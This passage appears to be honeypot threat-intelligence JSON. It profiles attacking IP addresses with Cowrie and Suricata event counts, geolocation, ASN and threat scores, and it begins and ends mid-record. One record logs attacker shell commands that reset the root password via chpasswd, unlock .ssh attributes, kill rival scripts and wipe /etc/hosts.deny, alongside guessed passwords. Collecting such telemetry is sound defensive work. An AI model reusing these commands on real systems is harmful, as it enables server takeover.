        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:10:18.257000+00:00",
        "last_seen_30d": "2026-05-23T10:02:17.874000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "202.5.226.91": {
      "attack_count": 132,
      "first_seen": "2026-05-18T22:02:17.463Z",
      "last_seen": "2026-05-19T06:08:05.234Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Sanchong District",
      "asn": 131607,
      "as_org": "Digidom CableTV Co., LTD.",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:02:17.463000+00:00",
        "last_seen_30d": "2026-05-19T06:09:10.962000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 66
      }
    },
    "59.126.232.2": {
      "attack_count": 84,
      "first_seen": "2026-05-23T08:02:50.259Z",
      "last_seen": "2026-05-23T14:03:29.717Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Yuanlin",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:02:50.259000+00:00",
        "last_seen_30d": "2026-05-23T14:04:33.978000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 42
      }
    },
    "49.228.239.92": {
      "attack_count": 83,
      "first_seen": "2026-05-13T23:39:13.446Z",
      "last_seen": "2026-05-13T23:43:31.060Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "uurgatiy"
      ],
      "passwords_attempted": [
        "L8GnGhXyKUEF",
        "P@ssw0rd",
        "Qwer123@",
        "Root1234@",
        "p@Ssw0rd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:1kqHxLxeexrO\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Chiang Mai",
      "asn": 133481,
      "as_org": "AIS Fibre",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T23:39:13.446000+00:00",
        "last_seen_30d": "2026-05-13T23:44:39.903000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 83,
        "Suricata": 11
      }
    },
    "138.219.98.210": {
      "attack_count": 76,
      "first_seen": "2026-05-23T08:07:42.124Z",
      "last_seen": "2026-05-23T13:57:35.166Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Posse",
      "asn": 263922,
      "as_org": "SPEED TURBO TELECOM",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:07:42.124000+00:00",
        "last_seen_30d": "2026-05-23T13:58:40.569000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 38
      }
    },
    "177.11.28.110": {
      "attack_count": 56,
      "first_seen": "2026-05-24T01:40:02.783Z",
      "last_seen": "2026-05-24T02:16:38.353Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 270641,
      "as_org": "YAS TELECOMUNICACOES EIRELI",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T01:40:02.783000+00:00",
        "last_seen_30d": "2026-05-24T02:17:41.195000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 30
      }
    },
    "208.67.251.50": {
      "attack_count": 54,
      "first_seen": "2026-05-05T01:00:03.969Z",
      "last_seen": "2026-05-14T02:28:17.654Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 40395,
      "as_org": "VIRTBIZ Internet Services",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:00:03.969000+00:00",
        "last_seen_30d": "2026-05-14T02:29:22.785000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 28
      }
    },
    "103.74.21.135": {
      "attack_count": 50,
      "first_seen": "2026-05-02T04:37:59.131Z",
      "last_seen": "2026-05-02T04:43:23.702Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 139879,
      "as_org": "Galaxy Broadband",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:37:59.131000+00:00",
        "last_seen_30d": "2026-05-02T04:44:30.337000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "59.103.119.40": {
      "attack_count": 50,
      "first_seen": "2026-05-05T20:34:47.108Z",
      "last_seen": "2026-05-05T20:40:11.451Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Shekhupura",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T20:34:47.108000+00:00",
        "last_seen_30d": "2026-05-05T20:41:18.231000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "139.135.44.70": {
      "attack_count": 48,
      "first_seen": "2026-05-23T18:33:50.756Z",
      "last_seen": "2026-05-23T18:39:02.175Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T18:33:50.756000+00:00",
        "last_seen_30d": "2026-05-23T18:40:04.362000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "209.141.57.35": {
      "attack_count": 48,
      "first_seen": "2026-05-04T23:56:59.391Z",
      "last_seen": "2026-05-21T04:05:26.049Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.5,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:56:59.391000+00:00",
        "last_seen_30d": "2026-05-21T04:06:30.700000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "142.171.90.82": {
      "attack_count": 42,
      "first_seen": "2026-05-08T15:26:22.044Z",
      "last_seen": "2026-05-19T16:17:17.096Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:26:22.044000+00:00",
        "last_seen_30d": "2026-05-19T16:18:25+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "112.81.52.92": {
      "attack_count": 40,
      "first_seen": "2026-05-18T21:56:53.628Z",
      "last_seen": "2026-05-18T23:47:45.980Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Suzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:56:53.628000+00:00",
        "last_seen_30d": "2026-05-18T23:48:50.263000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 20
      }
    },
    "177.41.162.111": {
      "attack_count": 32,
      "first_seen": "2026-05-18T14:31:29.549Z",
      "last_seen": "2026-05-18T14:55:58.627Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 18881,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T14:31:29.549000+00:00",
        "last_seen_30d": "2026-05-18T14:57:09.026000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 18
      }
    },
    "45.85.218.109": {
      "attack_count": 30,
      "first_seen": "2026-05-28T14:41:40.963Z",
      "last_seen": "2026-05-28T15:59:38.807Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "",
        "root"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 48314,
      "as_org": "IP-Projects GmbH & Co. KG",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T14:41:40.963000+00:00",
        "last_seen_30d": "2026-05-28T22:29:54.641000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 9
      }
    },
    "14.103.112.179": {
      "attack_count": 24,
      "first_seen": "2026-05-15T11:47:11.684Z",
      "last_seen": "2026-05-15T12:50:10.715Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "P@ssw0rd@2017"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T11:47:11.684000+00:00",
        "last_seen_30d": "2026-05-15T13:00:10.878000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 16
      }
    },
    "217.199.144.53": {
      "attack_count": 22,
      "first_seen": "2026-05-24T22:07:34.736Z",
      "last_seen": "2026-05-24T22:23:59.875Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 9129,
      "as_org": "KE-NET2000",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T22:07:34.736000+00:00",
        "last_seen_30d": "2026-05-24T22:26:00.385000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Cowrie": 22
      }
    },
    "179.115.137.191": {
      "attack_count": 18,
      "first_seen": "2026-05-19T01:13:03.930Z",
      "last_seen": "2026-05-19T05:51:54.382Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Fortaleza",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T01:13:03.930000+00:00",
        "last_seen_30d": "2026-05-19T05:53:02.491000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "185.255.100.10": {
      "attack_count": 18,
      "first_seen": "2026-05-03T18:13:18.708Z",
      "last_seen": "2026-05-12T04:31:10.073Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T18:13:18.708000+00:00",
        "last_seen_30d": "2026-05-12T04:32:10.287000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "194.163.160.47": {
      "attack_count": 18,
      "first_seen": "2026-05-14T02:06:10.622Z",
      "last_seen": "2026-05-28T05:36:35.780Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T02:06:10.622000+00:00",
        "last_seen_30d": "2026-05-28T05:37:45.803000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "212.78.94.170": {
      "attack_count": 18,
      "first_seen": "2026-05-11T22:33:46.664Z",
      "last_seen": "2026-05-11T22:35:05.077Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 13213,
      "as_org": "Thg Hosting Limited",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T22:26:42.404000+00:00",
        "last_seen_30d": "2026-05-11T22:44:17.384000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Cowrie": 18
      }
    },
    "5.39.189.46": {
      "attack_count": 18,
      "first_seen": "2026-05-02T23:19:38.131Z",
      "last_seen": "2026-05-05T01:47:47.631Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Noordwijk-Binnen",
      "asn": 58291,
      "as_org": "ColoCenter b.v.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:19:38.131000+00:00",
        "last_seen_30d": "2026-05-05T01:48:54.342000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "122.224.161.204": {
      "attack_count": 16,
      "first_seen": "2026-05-19T19:05:22.427Z",
      "last_seen": "2026-05-19T19:37:03.513Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:05:22.427000+00:00",
        "last_seen_30d": "2026-05-19T19:38:12.832000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "66.132.172.179": {
      "attack_count": 16,
      "first_seen": "2026-05-05T15:30:56.424Z",
      "last_seen": "2026-05-20T01:32:04.627Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 234,
        "days_active_30d": 30,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T19:11:19+00:00",
        "last_seen_30d": "2026-05-31T20:32:58.636000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 152,
        "Honeytrap": 47,
        "Cowrie": 16,
        "Dionaea": 8,
        "ElasticPot": 4,
        "H0neytr4p": 4,
        "Honeyaml": 2,
        "Ipphoney": 1
      }
    },
    "27.25.65.94": {
      "attack_count": 14,
      "first_seen": "2026-05-20T17:33:57.301Z",
      "last_seen": "2026-05-20T18:11:26.450Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T17:33:57.301000+00:00",
        "last_seen_30d": "2026-05-20T18:12:36.519000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 7
      }
    },
    "186.226.62.57": {
      "attack_count": 12,
      "first_seen": "2026-05-14T08:06:23.651Z",
      "last_seen": "2026-05-14T11:34:24.113Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 262954,
      "as_org": "VirtuaServer Informatica Ltda",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T08:06:23.651000+00:00",
        "last_seen_30d": "2026-05-14T11:35:29.239000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "196.204.71.189": {
      "attack_count": 12,
      "first_seen": "2026-05-06T03:09:30.002Z",
      "last_seen": "2026-05-28T06:01:40.822Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Giza",
      "asn": 24835,
      "as_org": "RAYA Telecom - Egypt",
      "threat_score": 39.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T03:09:30.002000+00:00",
        "last_seen_30d": "2026-05-28T06:02:43.757000+00:00",
        "days_since_last_seen": 3
      },
